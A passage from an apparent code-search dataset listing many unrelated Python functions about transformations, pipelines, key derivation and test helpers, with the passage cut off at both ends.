self._calculate_similarity()\n # Finally, calculate composite transforms\n commands = []\n for moving_slice_index in self.options.slice_range:\n commands.append(self._calculate_composite(moving_slice_index))\n self.execute(commands)\n\n self._logger.info(\"Done with calculating the transformations.\")","def transform(data: Dict, *modifiers: Callable[[Dict], None]) -> Dict:\n for modify in modifiers:\n modify(data)\n return data","def _apply(self, x, **kwargs):\n return reduce(lambda x_i, tr: tr._apply(x_i), self.transforms, x)","def _apply(self, x, **kwargs):\n return self.transform._apply(x, **kwargs)","def generateTests(self, dict, dictname='totest',\n testmethod='test_transforms'):\n for name, (transforms, cases) in dict.items():\n for casenum in range(len(cases)):\n case = cases[casenum]\n run_in_debugger = 0\n if len(case)==3:\n if case[2]:\n run_in_debugger = 1\n else:\n continue\n self.addTestCase(\n TransformTestCase, testmethod,\n transforms=transforms, parser=self.parser,\n input=case[0], expected=case[1],\n id='%s[%r][%s]' % (dictname, name, casenum),\n run_in_debugger=run_in_debugger)","def transform(a, *fs):\n raise NotImplementedError(\n f'Input transforms not implemented for \"{type(a).__name__}\".'\n )","def _apply_pass(self, sdfg: SDFG, pipeline_results: Dict[str, Any], apply_once: bool) -> Dict[str, List[Any]]:\n if self.progress is None and not Config.get_bool('progress'):\n self.progress = False\n\n start = time.time()\n\n applied_transformations = collections.defaultdict(list)\n xforms = self.transformations\n match: Optional[xf.PatternTransformation] = None\n\n # Ensure transformations are unique\n if len(xforms) != len(set(xforms)):\n raise ValueError('Transformation set must be unique')\n\n if self.order_by_transformation:\n applied_anything = True\n while applied_anything:\n applied_anything = False\n for xform in xforms:\n applied = True\n while applied:\n applied = False\n for match in match_patterns(sdfg,\n permissive=self.permissive,\n patterns=[xform],\n states=self.states,\n metadata=self._metadata):\n self._apply_and_validate(match, sdfg, start, pipeline_results, applied_transformations)\n applied = True\n applied_anything = True\n break\n if apply_once:\n break\n else:\n applied = True\n while applied:\n applied = False\n # Find and apply one of the chosen transformations\n for match in match_patterns(sdfg,\n permissive=self.permissive,\n patterns=xforms,\n states=self.states,\n metadata=self._metadata):\n self._apply_and_validate(match, sdfg, start, pipeline_results, applied_transformations)\n applied = True\n break\n if apply_once:\n break\n\n if self.validate:\n try:\n sdfg.validate()\n except InvalidSDFGError as err:\n if applied and match is not None:\n raise InvalidSDFGError(\"Validation failed after applying {}.\".format(match.print_match(self)), self,\n match.state_id) from err\n else:\n raise err\n\n if (len(applied_transformations) > 0\n and (self.progress or self.print_report or\n ((self.progress is None or self.print_report is None) and Config.get_bool('debugprint')))):\n print('Applied {}.'.format(', '.join(['%d %s' % (len(v), k) for k, v in applied_transformations.items()])))\n\n if len(applied_transformations) == 0: # Signal that no transformation was applied\n return None\n return applied_transformations","def transformation(self):\n for key in self.combination_dict.keys():\n if self.combination_dict[key]['column_count'] == 2:\n if self.data_dict[self.combination_dict[key]['column1']]['data_type'] == 'tem' or self.data_dict[self.combination_dict[key]['column2']]['data_type'] == 'tem':\n self.temporal_transformation(self.combination_dict[key])\n elif self.data_dict[self.combination_dict[key]['column1']]['data_type'] == 'cat' or self.data_dict[self.combination_dict[key]['column2']]['data_type'] == 'cat':\n self.categorical_transformation(self.combination_dict[key])\n elif self.data_dict[self.combination_dict[key]['column1']]['data_type'] == 'num' and self.data_dict[self.combination_dict[key]['column2']]['data_type'] == 'num':\n self.numerical_transformation(self.combination_dict[key])\n\n elif self.combination_dict[key]['column_count'] == 3:\n num_count = 0\n num_column = []\n if self.data_dict[self.combination_dict[key]['column1']]['data_type'] == 'num':\n num_count += 1\n num_column.append(0)\n elif self.data_dict[self.combination_dict[key]['column2']]['data_type'] == 'num':\n num_count += 1\n num_column.append(1)\n elif self.data_dict[self.combination_dict[key]['column3']]['data_type'] == 'num':\n num_count += 1\n num_column.append(2)\n\n if num_count == 1:\n self.three_column_groupby_logic(self.combination_dict[key], num_column)\n\n m_score_pie = []\n m_score_bar = []\n m_score_line = []\n m_score_scatter = []\n # for key in self.scenario_dict:\n # if self.scenario_dict\n for key in self.scenario_dict:\n if math.isnan(self.scenario_dict[key][\"Scatter_chart_score\"]):\n m_score_scatter.append(0)\n else:\n m_score_scatter.append(self.scenario_dict[key][\"Scatter_chart_score\"])\n m_score_pie.append(self.scenario_dict[key][\"Pie_chart_score\"])\n m_score_bar.append(self.scenario_dict[key][\"Bar_chart_score\"])\n m_score_line.append(self.scenario_dict[key][\"Line_chart_score\"])\n\n m_score_pie /= np.max(m_score_pie)\n m_score_bar /= np.max(m_score_bar)\n m_score_line /= np.max(m_score_line)\n m_score_scatter /= np.max(m_score_scatter)\n m_score = [m_score_pie, m_score_bar, m_score_line, m_score_scatter]\n match_index = np.argmax(m_score, axis = 0)\n i = 0\n for key in self.scenario_dict:\n if match_index[i] == 0:\n self.scenario_dict[key][\"Chart_Type\"] = \"pie\"\n if match_index[i] == 1:\n self.scenario_dict[key][\"Chart_Type\"] = \"bar\"\n if match_index[i] == 2:\n self.scenario_dict[key][\"Chart_Type\"] = \"line\"\n if match_index[i] == 3:\n self.scenario_dict[key][\"Chart_Type\"] = \"scatter\"\n self.scenario_dict[key][\"m_score\"] = m_score[match_index[i]][i]\n i += 1\n\n return self.scenario_dict","def _run_file_contents(contents: dict, strict_fn, debug_print):\n\n default_fns_args = {\n \"adjust_focus\": {\"on\": \"hexbin\"},\n \"adjust_positioning\": True,\n \"adjust_opacity\": True\n }\n\n input_fns = contents.pop(\"functions\", {})\n for k, v in default_fns_args.items():\n if k not in input_fns:\n input_fns[k] = v\n\n output = contents.pop(\"output\", False)\n display = contents.pop(\"display\", True)\n builder = PlotBuilder.builder_from_dict(**contents)\n debug_print(\"* all layers loaded\")\n\n for k, v in input_fns.items():\n if v:\n args, kwargs = parse_args_kwargs(v)\n try:\n _fn_map[k](builder, *args, **kwargs)\n debug_print(f\"* invoked function '{_fn_map[k].__name__}'.\\nargs: {args}\\nkwargs: {kwargs}\")\n except Exception as e:\n try:\n debug_print(f\"* error while performing '{_fn_map[k].__name__}'.\\nerror: {e}\")\n strict_fn(e)\n except KeyError as f:\n debug_print(f\"* no such function as '{k}'.\")\n strict_fn(f)\n\n builder.finalize(raise_errors=False)\n\n if output:\n args, kwargs = parse_args_kwargs(output)\n builder.output(*args, **kwargs)\n debug_print(\"* figure output.\")\n\n if display:\n args, kwargs = parse_args_kwargs(display)\n builder.display(*args, **kwargs)\n debug_print(\"* figure displayed.\")\n\n return builder.get_plot_status()","def execute_dag(func_dict, dag, data, targets):\n # Needed for garbage collection.\n visited_nodes = set(data)\n results = data.copy()\n\n for task in nx.topological_sort(dag):\n if task not in results:\n if task in func_dict:\n kwargs = _dict_subset(results, dag.predecessors(task))\n results[task] = func_dict[task](**kwargs)\n else:\n raise KeyError(f\"Missing variable or function: {task}\")\n\n visited_nodes.add(task)\n\n if targets != \"all\":\n results = collect_garbage(results, task, visited_nodes, targets, dag)\n\n return results","def fit_transform(self, views: Iterable[np.ndarray], **kwargs):\n return self.fit(views, **kwargs).transform(views, **kwargs)","def crack(ctx, level, output, name, keep, save, zip_file, password,\n no_save, verbose, filename):\n if not path.exists(locke.transforms.utils.DBFILE):\n print('Run generate to create a new transforms.db')\n return 1\n if path.exists(output) and path.isfile(output):\n return 1\n makedirs(output, exist_ok=True)\n load_all_transformers()\n if not zip_file and password is not None:\n raise ValueError(\"Password field is set without zip enable\")\n\n trans_list = select_transformers(TRANSFORMERS, name, level=level)\n results = run_transformations(trans_list, filename, keep,\n zip_file, password, verbose)[:save]\n\n # TODO\n # Call on save to disk here? or Make run_transformation call write to disk?\n if not no_save:\n write_to_disk(results, output, filename)","def transform(self, data):\n if data:\n assert isinstance(data, dict), 'Step {}, \"data\" argument in the \"transform()\" method must be dict, ' \\\n 'got {} instead.'.format(self.name, type(data))\n logger.info('Step {}, working in \"{}\" mode'.format(self.name, self._mode))\n\n if self.output_is_cached:\n logger.info('Step {} using cached output'.format(self.name))\n step_output_data = self.output\n elif self.output_is_persisted and self.load_persisted_output:\n logger.info('Step {} loading persisted output from {}'.format(self.name,\n self.experiment_directory_output_step))\n step_output_data = self._load_output(self.experiment_directory_output_step)\n else:\n step_inputs = {}\n if self.input_data is not None:\n for input_data_part in self.input_data:\n step_inputs[input_data_part] = data[input_data_part]\n\n for input_step in self.input_steps:\n input_step._mode = self._mode\n step_inputs[input_step.name] = input_step.transform(data)\n\n if self.adapter:\n step_inputs = self._adapt(step_inputs)\n else:\n step_inputs = self._unpack(step_inputs)\n step_output_data = self._transform_operation(step_inputs)\n logger.info('Step {}, transform completed'.format(self.name))\n return step_output_data","async def transform(self, file):\n\t\tpass","def _transform_data(self, *args, **kwargs) -> None:\n raise NotImplementedError","def transform(self, *args, **kwargs):\n raise NotImplementedError","def apply_ren_sym(self, ren_dict):\n raise Exception(\"Abstract method\")","def post_processing(sample_dict: NDict, task1: bool = True, task2: bool = True) -> dict:\n # verify sample\n expected_keys = [f\"target.{key}\" for key in EXPECTED_TARGET_KEYS]\n if task1:\n expected_keys += [f\"task1_pred.{key}\" for key in EXPECTED_TASK1_PRED_KEYS]\n if task2:\n expected_keys += [f\"task2_pred.{key}\" for key in EXPECTED_TASK2_PRED_KEYS]\n set(expected_keys).issubset(set(sample_dict.keypaths()))\n\n # convert scores to numpy array\n # task 1\n if task1:\n task1_pred = []\n for cls_name in TASK1_CLASS_NAMES:\n task1_pred.append(sample_dict[f\"task1_pred.{cls_name}-score\"])\n task1_pred_array = np.array(task1_pred)\n if not np.isclose(task1_pred_array.sum(), 1.0, rtol=0.05):\n print(\n f\"Warning: expecting task 1 prediction for case {sample_dict['descriptor']} to sum up to almost 1.0, got {task1_pred_array}\"\n )\n sample_dict[\"task1_pred.array\"] = task1_pred_array\n\n # task 2\n if task2:\n task2_pred = []\n for cls_name in TASK2_CLASS_NAMES:\n task2_pred.append(sample_dict[f\"task2_pred.{cls_name}-score\"])\n task2_pred_array = np.array(task2_pred)\n if not np.isclose(task2_pred_array.sum(), 1.0, rtol=0.05):\n print(\n f\"Error: expecting task 2 prediction for case {sample_dict['descriptor']} to sum up to almost 1.0, got {task2_pred_array}\"\n )\n sample_dict[\"task2_pred.array\"] = task2_pred_array\n\n return sample_dict","def _apply_transform(self, w2w_transform):\n raise NotImplementedError","def _run_json(key, process, cmd):\n logging.info('Running %s', ' '.join(cmd))\n raw = subprocess.check_output(cmd)\n logging.info('- returned %d bytes', len(raw))\n return key, process(json.loads(raw))","def test_tranform_chain() -> None:\n transform_chain = TransformChain(\n input_variables=[\"first_name\", \"last_name\"],\n output_variables=[\"greeting\"],\n transform=dummy_transform,\n )\n input_dict = {\"first_name\": \"Leroy\", \"last_name\": \"Jenkins\"}\n response = transform_chain(input_dict)\n expected_response = {\"greeting\": \"Leroy Jenkins says hello\"}\n assert response == expected_response","def do_process_pass(self, stage, node, mapping_dict):\n for item in node.keys():\n if item in mapping_dict:\n value = self.process_property(stage, item, node[item], node)\n node[item] = value\n for child in node.get_children():\n self.do_process_pass(stage, child, mapping_dict)","def transform(self, params, model, transformation, target_shape):\n self._transform_parameters(model, params, transformation, target_shape)","def _map_arguments(self, args):\n comp_file = args.get('comp', None)\n datafile = args.get('data', None)\n do_ltsum = args.get('do_ltsum', False)\n\n NAME_FACTORY.update_base_dict(datafile)\n outdir_base = os.path.join(NAME_FACTORY.base_dict['basedir'], 'counts_cubes')\n num_files = args.get('nfiles', 96)\n\n self.comp_dict = yaml.safe_load(open(comp_file))\n coordsys = self.comp_dict.pop('coordsys')\n\n for key_e, comp_e in sorted(self.comp_dict.items()):\n\n if 'mktimefilters' in comp_e:\n mktimelist = comp_e['mktimefilters']\n else:\n mktimelist = ['none']\n\n if 'evtclasses' in comp_e:\n evtclasslist_vals = comp_e['evtclasses']\n else:\n evtclasslist_vals = [NAME_FACTORY.base_dict['evclass']]\n\n for mktimekey in mktimelist:\n zcut = \"zmax%i\" % comp_e['zmax']\n kwargs_mktime = dict(zcut=zcut,\n ebin=key_e,\n psftype='ALL',\n coordsys=coordsys,\n mktime=mktimekey)\n\n if do_ltsum:\n ltsum_listfile = 'ltsumlist_%s_%s' % (key_e, mktimekey)\n ltsum_outfile = 'ltsum_%s_%s' % (key_e, mktimekey)\n linkname = 'ltsum_%s_%s' % (key_e, mktimekey)\n self._set_link(likname, Gtlink_ltsum,\n infile1=ltsum_listfile,\n infile2=None,\n outfile=ltsum_outfile,\n logfile=os.path.join(outdir_base, \"%s.log\" % linkname))\n\n for evtclassval in evtclasslist_vals:\n for psf_type in sorted(comp_e['psf_types'].keys()):\n fullkey = \"%s_%s_%s_%s\"%(key_e, mktimekey, evtclassval, psf_type)\n linkname = 'coadd_%s' % (fullkey)\n kwargs_bin = kwargs_mktime.copy()\n kwargs_bin['psftype'] = psf_type\n kwargs_bin['evclass'] = evtclassval\n ccube_name =\\\n os.path.basename(NAME_FACTORY.ccube(**kwargs_bin))\n outputfile = os.path.join(outdir_base, ccube_name)\n args = _make_input_file_list(outputfile, num_files)\n \n self._set_link(linkname,\n Link_FermipyCoadd,\n args=args,\n output=outputfile,\n logfile=os.path.join(outdir_base, \"%s.log\" % linkname))","def _processArgsToLogic_extract_CDS(args, stdout, stderr,\n gb_record_fmtdict,\n gb_cds_fmtdict) :\n # Initialize action flags\n args.actionFlags = dict()\n # Check for --count\n if args.count :\n if (args.unique is not None) :\n stderr.write(\"--count and --unique cannot be used simultanesouly.\\n\"\n \"Use --help for details on usage.\\n\")\n sys.exit()\n else :\n args.actionFlags[\"DoCount\"] = True\n return args\n # Produce unique sequences\n if args.unique is not None :\n args.actionFlags[\"DoUniqueSequences\"] = True\n # Process outfmt\n args.outfmt = _processOutfmtArg(args.outfmt, stderr, gb_record_fmtdict,\n gb_cds_fmtdict)\n # Process hash\n hashFunctions = { \"md5\" : hashlib.md5,\n \"sha1\" : hashlib.sha1,\n \"sha224\" : hashlib.sha224,\n \"sha256\" : hashlib.sha256,\n \"sha384\" : hashlib.sha384,\n \"sha512\" : hashlib.sha512}\n args.hash = hashFunctions[args.hash]\n # Return\n return args","def applyMapping(self):\n pass","def perform(self, command, **kwargs):\n self.LogCommand()\n\n tclcode = \"stc::perform \" + command\n\n for key in kwargs:\n #tclcode = tclcode + \" \" + \"-\" + key + ' \"' + str(kwargs[key]) + '\"'\n tclcode = tclcode + \" \" + \"-\" + key + r\" {\" + str(kwargs[key]) + r\"}\"\n\n result = self.Exec(tclcode)\n result_dict = self.List2Dict(result)\n logging.debug(\" - Python result - \" + str(result_dict))\n return result_dict","def apply_ren(self, ren_dict):\n raise Exception(\"Abstract method\")","def applyRunInfo(self, runInfo):\n self.runInfoDict = runInfo","def test_transform():\n args = get_layer('transform', 'manual', 'temporal', False, False, window=2, step_size=3)\n run_layer(*args)","def pre_transform_hash(self):\n if self.custom_hash is not None:\n return self.custom_hash\n if self.pre_transform is None:\n return 'no_pre_transform'\n return hashlib.md5(_repr(self.pre_transform).encode()).hexdigest()","def run(self, data, config=None, pipeline=None):\n data[self.dst] = self.copy_fn(data[self.src])\n return data","def _process(self):\n # choose the correct transform model before processing TI data\n self._select_transform()\n\n # process type first, fail early\n self._process_type()\n\n # process type specific data\n if isinstance(self.transform, GroupTransformModel):\n self._process_group()\n elif isinstance(self.transform, IndicatorTransformModel):\n self._process_indicator()\n\n # self.process_associations(self.transform.associations)\n self._process_associated_group(self.transform.associated_groups)\n self._process_attributes(self.transform.attributes or [])\n self._process_security_labels(self.transform.security_labels or [])\n self._process_tags(self.transform.tags or [])\n\n # date added\n self._process_metadata_datetime('dateAdded', self.transform.date_added)\n\n # last modified\n self._process_metadata_datetime('lastModified', self.transform.last_modified)\n\n # xid\n self._process_metadata('xid', self.transform.xid)"],"string":"[\n \"def run_transformation_dict(transformation_dict, result_callback=None):\\n # TODO: add type annotation and all kinds of validation...\\n from .. import database_sink\\n\\n transformation_buffer = tf_get_buffer(transformation_dict)\\n transformation = calculate_checksum(transformation_buffer)\\n cache_buffer(transformation, transformation_buffer)\\n increfed = _register_transformation_dict(\\n transformation, transformation_buffer, transformation_dict\\n )\\n if multiprocessing.current_process().name != \\\"MainProcess\\\":\\n assert database_sink.active\\n result_checksum, prelim = transformation_cache._get_transformation_result(\\n transformation\\n )\\n if result_checksum is not None and not prelim:\\n metalike, syntactic_cache = None, []\\n else:\\n assert _parent_process_queue is not None\\n metalike = {}\\n for k in (\\\"__compilers__\\\", \\\"__languages__\\\", \\\"__meta__\\\"):\\n if k in transformation_dict:\\n metalike[k] = transformation_dict[k]\\n meta = metalike.get(\\\"__meta__\\\")\\n if meta is None:\\n meta = {}\\n metalike[\\\"__meta__\\\"] = meta\\n if meta.get(\\\"local\\\") is None:\\n # local (fat) by default\\n meta[\\\"local\\\"] = True\\n syntactic_cache = []\\n for k in transformation_dict:\\n if k.startswith(\\\"__\\\"):\\n continue\\n celltype, subcelltype, sem_checksum = transformation_dict[k]\\n if syntactic_is_semantic(celltype, subcelltype):\\n continue\\n semkey = (bytes.fromhex(sem_checksum), celltype, subcelltype)\\n syn_checksum = transformation_cache.semantic_to_syntactic_checksums[\\n semkey\\n ][0]\\n syn_buffer = get_buffer(syn_checksum)\\n assert syn_buffer is not None\\n syntactic_cache.append((celltype, subcelltype, syn_buffer))\\n else:\\n metalike, syntactic_cache = None, []\\n\\n output_celltype = transformation_dict[\\\"__output__\\\"][1]\\n _queued_transformations.append(\\n (\\n result_callback,\\n transformation.hex(),\\n transformation_dict,\\n metalike,\\n syntactic_cache,\\n increfed,\\n output_celltype,\\n )\\n )\\n if result_callback is None:\\n return _wait()[0]\\n else:\\n return\",\n \"def apply(s, transformation_s, target=None):\\n if target is None: target = {}\\n\\n if not isinstance(transformation_s, dict):\\n for transformation in transformation_s:\\n target = s.apply(transformation, target)\\n return target\\n\\n transformation = transformation_s\\n for key, value in transformation.items():\\n s._merge_key_into_dict(key, value, target)\\n return target\",\n \"def contract(s, transformations, asYAML=False):\\n target = {}\\n\\n # if a string or bytes => assume it is YAML or JSON\\n if isinstance(transformations, str):\\n transformations = s.load(transformations)\\n elif isinstance(transformations, bytes):\\n transformations = s.load(transformations.decode())\\n\\n for transformation in transformations:\\n s.apply(transformation, target)\\n\\n if asYAML: return s.toYAML(target)\\n else: return target\",\n \"def transform():\\n pass\",\n \"def run(self, ct_data, state):\\n transformed_input = copy.deepcopy(ct_data)\\n output = self.model.run(ct_data, state)\\n result = {\\\"output\\\": output, \\\"transformed input\\\": transformed_input}\\n return result\",\n \"def transform():\",\n \"def apply_transform(key, data, transform_list):\\n for transform in transform_list:\\n method_name = transform[MethodKeys.METHOD]\\n method_params = transform[MethodKeys.PARAMETERS]\\n\\n if method_name == 'compute_and_apply_vocabulary':\\n method_params.update({'vocab_filename': key})\\n\\n data = TransformMethods.get_method(method_name)(data,\\n **method_params)\\n return data\",\n \"def _apply_transform(self):\\n pass\",\n \"def get_transform_fn():\",\n \"def get_transform_dict(args):\\n img_size = IMG_SIZE[args.dataset]\\n padding = int(\\n 0.125 * img_size\\n ) # default value is to choose padding size as 12.5% of image size\\n return {\\n \\\"train\\\": MixMatchTransform.default(\\n args.dataset, k=1, img_size=img_size, padding=padding\\n ),\\n \\\"train_unlabeled\\\": MixMatchTransform.default(\\n args.dataset, k=args.num_augmentations, img_size=img_size, padding=padding\\n ),\\n \\\"test\\\": get_normalizer(args.dataset),\\n }\",\n \"def perform_generation_transforms(mappings, df, output_file, dicts):\\n out = open(output_file, 'w')\\n for index in df.index:\\n mappings_copy = copy.deepcopy(mappings)\\n sub_maps = list(item_generator(mappings_copy, 'transforms'))\\n for sub_map in filter(lambda x: isinstance(x, dict), sub_maps):\\n sub_map_copy = copy.deepcopy(sub_map)\\n for key in dict(filter(lambda x: 'transforms' in x[1],\\n sub_map_copy.items())):\\n for transform in filter(lambda x: 'type' in x and x['type'] in\\n available_transforms,\\n sub_map_copy[key]['transforms']):\\n available_transforms[transform['type']](\\n sub_map, key, transform, df, index, dicts)\\n if key in sub_map and 'transforms' in sub_map[key]:\\n del sub_map[key]['transforms']\\n for sub_map in filter(lambda x: isinstance(x, list), sub_maps):\\n sub_map_copy = copy.deepcopy(sub_map)\\n list_index = 0\\n for list_item in filter(lambda x: isinstance(x, dict) and\\n 'transforms' in x, sub_map_copy):\\n mapping_size = len(sub_map)\\n for transform in filter(lambda x: 'type' in x and\\n x['type'] in available_transforms,\\n list_item['transforms']):\\n if not list_index >= len(sub_map):\\n available_transforms[transform['type']](\\n sub_map, list_index, transform, df, index, dicts)\\n if (not list_index >= len(sub_map) and\\n 'transforms' in sub_map[list_index]):\\n del sub_map[list_index]['transforms']\\n if mapping_size == len(sub_map):\\n list_index += 1\\n fill_json_values('sourceCol', mappings_copy, df, index)\\n out.write(json.dumps(mappings_copy) + '\\\\n')\\n out.close()\\n return df\",\n \"def _apply_transforms(self, inputs: Dict) -> Dict:\\n results = inputs.copy()\\n inputs = {k: v for k, v in inputs.items() if v is not IgnoreKey}\\n outputs = self.transforms(inputs)\\n\\n if outputs is None:\\n raise ValueError(\\n f'Transforms wrapped by {self.__class__.__name__} should '\\n 'not return None.')\\n\\n results.update(outputs) # type: ignore\\n return results\",\n \"def compute_transformed(context, key_composite):\\n\\n kdf_parameters = context.header.value.dynamic_header.kdf_parameters.data.dict\\n\\n if kdf_parameters['$UUID'].value == kdf_uuids['argon2']:\\n transformed_key = argon2.low_level.hash_secret_raw(\\n secret=key_composite,\\n salt=kdf_parameters['S'].value,\\n hash_len=32,\\n type=argon2.low_level.Type.D,\\n time_cost=kdf_parameters['I'].value,\\n memory_cost=kdf_parameters['M'].value // 1024,\\n parallelism=kdf_parameters['P'].value,\\n version=kdf_parameters['V'].value\\n )\\n elif kdf_parameters['$UUID'].value == kdf_uuids['aes']:\\n # set up a context for AES128-ECB encryption to find transformed_key\\n cipher = AES.new(kdf_parameters['S'].value, AES.MODE_ECB)\\n\\n # get the number of rounds from the header and transform the key_composite\\n rounds = kdf_parameters['R'].value\\n transformed_key = key_composite\\n for _ in range(0, rounds):\\n transformed_key = cipher.encrypt(transformed_key)\\n\\n transformed_key = hashlib.sha256(transformed_key).digest()\\n else:\\n raise Exception('Unsupported key derivation method')\\n\\n return transformed_key\",\n \"def transform(self, results: Dict) -> Dict:\\n\\n # Apply mapping\\n inputs = self._map_input(results, self.mapping)\\n # Apply wrapped transforms\\n outputs = self._apply_transforms(inputs)\\n # Apply remapping\\n outputs = self._map_output(outputs, self.remapping)\\n\\n results.update(outputs) # type: ignore\\n return results\",\n \"def transform(self, unit, transformation):\\n command = 'transform {} {}'.format(unit, transformation)\\n command = command.replace(r'[', '{{').replace(r']', '}}')\\n command = command.replace('\\\\n', '').replace(' ', ' ')\\n self.add_commands(command)\",\n \"def run(output_dir, data_dict, transform_func):\\n logger.info('BEGIN TransformStage')\\n\\n # Reorganize data - Dict (key=filename, value=df)\\n dfs = {os.path.split(k)[1].split('.')[0]: df\\n for k, (_, df) in data_dict.items()\\n }\\n\\n # Make dataframes\\n df_out = transform_func(dfs)\\n\\n write_output(output_dir, df_out)\\n\\n logger.info('END TransformStage')\\n\\n return df_out\",\n \"def apply(input, output, fields, delimiter, encoding, verbose, format_in, zipfile, script, filter):\\n if verbose:\\n enableVerbose()\\n options = {}\\n options['delimiter'] = delimiter\\n options['fields'] = fields\\n options['output'] = output\\n options['encoding'] = encoding\\n options['format_in'] = format_in\\n options['zipfile'] = zipfile\\n options['filter'] = filter\\n options['script'] = script\\n acmd = Transformer()\\n acmd.script(input, options)\\n pass\",\n \"def transform(self, source: dict) -> dict:\\n pass\",\n \"def run_transform(i_fn, o_fn):\\n if not (all(is_bed(fn) for fn in [i_fn, o_fn]) or all(is_vcf(fn) for fn in [i_fn, o_fn])):\\n raise ValueError(\\\"Input and output must be both BED or VCF\\\")\\n with get_reader(i_fn) as reader:\\n with get_writer(o_fn, reader.samples) as writer:\\n for r in reader:\\n writer.writeRecord(transform_coordinate_of_sv(r))\",\n \"def test_transform_output(argument_pair):\\n ...\",\n \"def transform(config, data, transfo, *args, **kwargs):\\n \\n# stderr.write(str((config, data, transfo) + args) + \\\"\\\\n\\\")\\n pipe = ktpipes.KtPipe.from_json(config[transfo])\\n\\n return pipe.fit_transform(get_raw(data))\",\n \"def execution_transfer_script(self, resources):\\n\\n # fixme -- json is an inefficient pickle.\\n # - slow\\n # - nodes will need to be dealiased again.\\n #\\n manifest_s = repr(json.dumps(self.data.manifest()))\\n canonical_s = repr(json.dumps(self.data.canonical()))\\n resources_s = repr(resources)\\n\\n # this doesn't get carried on the other side\\n default_region = _get_default_region()\\n\\n hooks = \\\"\\\\n\\\".join(runtime.add_user_hook._hooks)\\n\\n return \\\"\\\"\\\"#!/usr/bin/env python3\\nimport bunnies.runtime\\nimport bunnies.constants as C\\nfrom bunnies.unmarshall import unmarshall\\nimport os, os.path\\nimport json\\nimport logging\\nlog = logging.getLogger()\\n\\n# USER HOOKS START\\n%(hooks)s\\n# USER HOOKS END\\n\\nuid_s = %(uid_s)s\\n\\ncanonical_s = %(canonical_s)s\\n\\nmanifest_s = %(manifest_s)s\\n\\nmanifest_obj = json.loads(manifest_s)\\n\\ncanonical_obj = json.loads(canonical_s)\\n\\nbunnies.setup_logging()\\n\\n# this is for align binaries\\nos.environ['AWS_REGION'] = %(default_region)s\\n# this is for the boto client\\nos.environ['AWS_DEFAULT_REGION'] = %(default_region)s\\n\\ntransform = unmarshall(manifest_obj)\\nlog.info(\\\"%%s\\\", json.dumps(manifest_obj, indent=4))\\n\\nparams = {\\n 'workdir': os.environ.get('BUNNIES_WORKDIR'),\\n 'scriptdir': os.path.dirname(__file__),\\n 'job_id': os.environ.get('BUNNIES_JOBID'),\\n 'resources': %(resources_s)s\\n }\\n\\nbunnies.runtime.setenv_batch_metadata()\\nenv_copy = dict(os.environ)\\n\\n# core of the work\\noutput = transform.run(**params)\\n\\n# write results\\nresult_path = os.path.join(transform.output_prefix(), C.TRANSFORM_RESULT_FILE)\\nbunnies.runtime.update_result(result_path,\\n output=output,\\n manifest=manifest_obj,\\n canonical=canonical_obj,\\n environment=env_copy)\\n\\\"\\\"\\\" % {\\n 'manifest_s': manifest_s,\\n 'canonical_s': canonical_s,\\n 'default_region': repr(default_region),\\n 'uid_s': repr(self.uid),\\n 'hooks': hooks,\\n 'resources_s': resources_s\\n}\",\n \"def _compute_transforms(self):\\n res_scale_ref = self.params.res_scale_ref.value.strip().lower()\\n assert res_scale_ref in ['zero'] # TODO: , 'mean', 'median']\\n\\n reco_param_source = self.params.reco_paramfile.value\\n\\n if reco_param_source is None:\\n raise ValueError(\\n 'non-None reco parameterization params.reco_paramfile'\\n ' must be provided'\\n )\\n\\n reco_param_hash = hash_obj(reco_param_source)\\n\\n if (self._reco_param_hash is None\\n or reco_param_hash != self._reco_param_hash):\\n reco_param = load_reco_param(reco_param_source)\\n\\n # Transform groups are implicitly defined by the contents of the\\n # reco paramfile's keys\\n implicit_transform_groups = reco_param.keys()\\n\\n # Make sure these match transform groups specified for the stage\\n if set(implicit_transform_groups) != set(self.transform_groups):\\n raise ValueError(\\n 'Transform groups (%s) defined implicitly by'\\n ' %s reco parameterizations do not match those'\\n ' defined as the stage\\\\'s `transform_groups` (%s).'\\n % (implicit_transform_groups, reco_param_source,\\n self.transform_groups)\\n )\\n\\n self.param_dict = reco_param\\n self._reco_param_hash = reco_param_hash\\n\\n self.eval_dict = self.evaluate_reco_param()\\n self.reco_scales_and_biases_applicable()\\n\\n # everything seems to be fine, so rescale and shift distributions\\n eval_dict = self.scale_and_shift_reco_dists()\\n\\n # Computational units must be the following for compatibility with\\n # events file\\n comp_units = dict(\\n true_energy='GeV', true_coszen=None, true_azimuth='rad',\\n reco_energy='GeV', reco_coszen=None, reco_azimuth='rad', pid=None\\n )\\n\\n # Select only the units in the input/output binning for conversion\\n # (can't pass more than what's actually there)\\n in_units = {dim: unit for dim, unit in comp_units.items()\\n if dim in self.input_binning}\\n out_units = {dim: unit for dim, unit in comp_units.items()\\n if dim in self.output_binning}\\n\\n # These binnings will be in the computational units defined above\\n input_binning = self.input_binning.to(**in_units)\\n output_binning = self.output_binning.to(**out_units)\\n en_centers_in = self.input_binning['true_energy'].weighted_centers.magnitude\\n en_edges_in = self.input_binning['true_energy'].bin_edges.magnitude\\n cz_centers_in = self.input_binning['true_coszen'].weighted_centers.magnitude\\n cz_edges_in = self.input_binning['true_coszen'].bin_edges.magnitude\\n en_edges_out = self.output_binning['reco_energy'].bin_edges.magnitude\\n cz_edges_out = self.output_binning['reco_coszen'].bin_edges.magnitude\\n\\n n_e_in = len(en_centers_in)\\n n_cz_in = len(cz_centers_in)\\n n_e_out = len(en_edges_out)-1\\n n_cz_out = len(cz_edges_out)-1\\n\\n if self.coszen_flipback:\\n cz_edges_out, flipback_mask, keep = \\\\\\n self.extend_binning_for_coszen(ext_low=-3., ext_high=+3.)\\n\\n xforms = []\\n for xform_flavints in self.transform_groups:\\n logging.debug(\\\"Working on %s reco kernel...\\\" %xform_flavints)\\n\\n this_params = eval_dict[xform_flavints]\\n reco_kernel = np.zeros((n_e_in, n_cz_in, n_e_out, n_cz_out))\\n\\n for (i,j) in itertools.product(range(n_e_in), range(n_cz_in)):\\n e_kern_cdf = self.make_cdf(\\n bin_edges=en_edges_out,\\n enval=en_centers_in[i],\\n enindex=i,\\n czval=None,\\n czindex=j,\\n dist_params=this_params['energy']\\n )\\n cz_kern_cdf = self.make_cdf(\\n bin_edges=cz_edges_out,\\n enval=en_centers_in[i],\\n enindex=i,\\n czval=cz_centers_in[j],\\n czindex=j,\\n dist_params=this_params['coszen']\\n )\\n\\n if self.coszen_flipback:\\n cz_kern_cdf = perform_coszen_flipback(\\n cz_kern_cdf, flipback_mask, keep\\n )\\n\\n reco_kernel[i,j] = np.outer(e_kern_cdf, 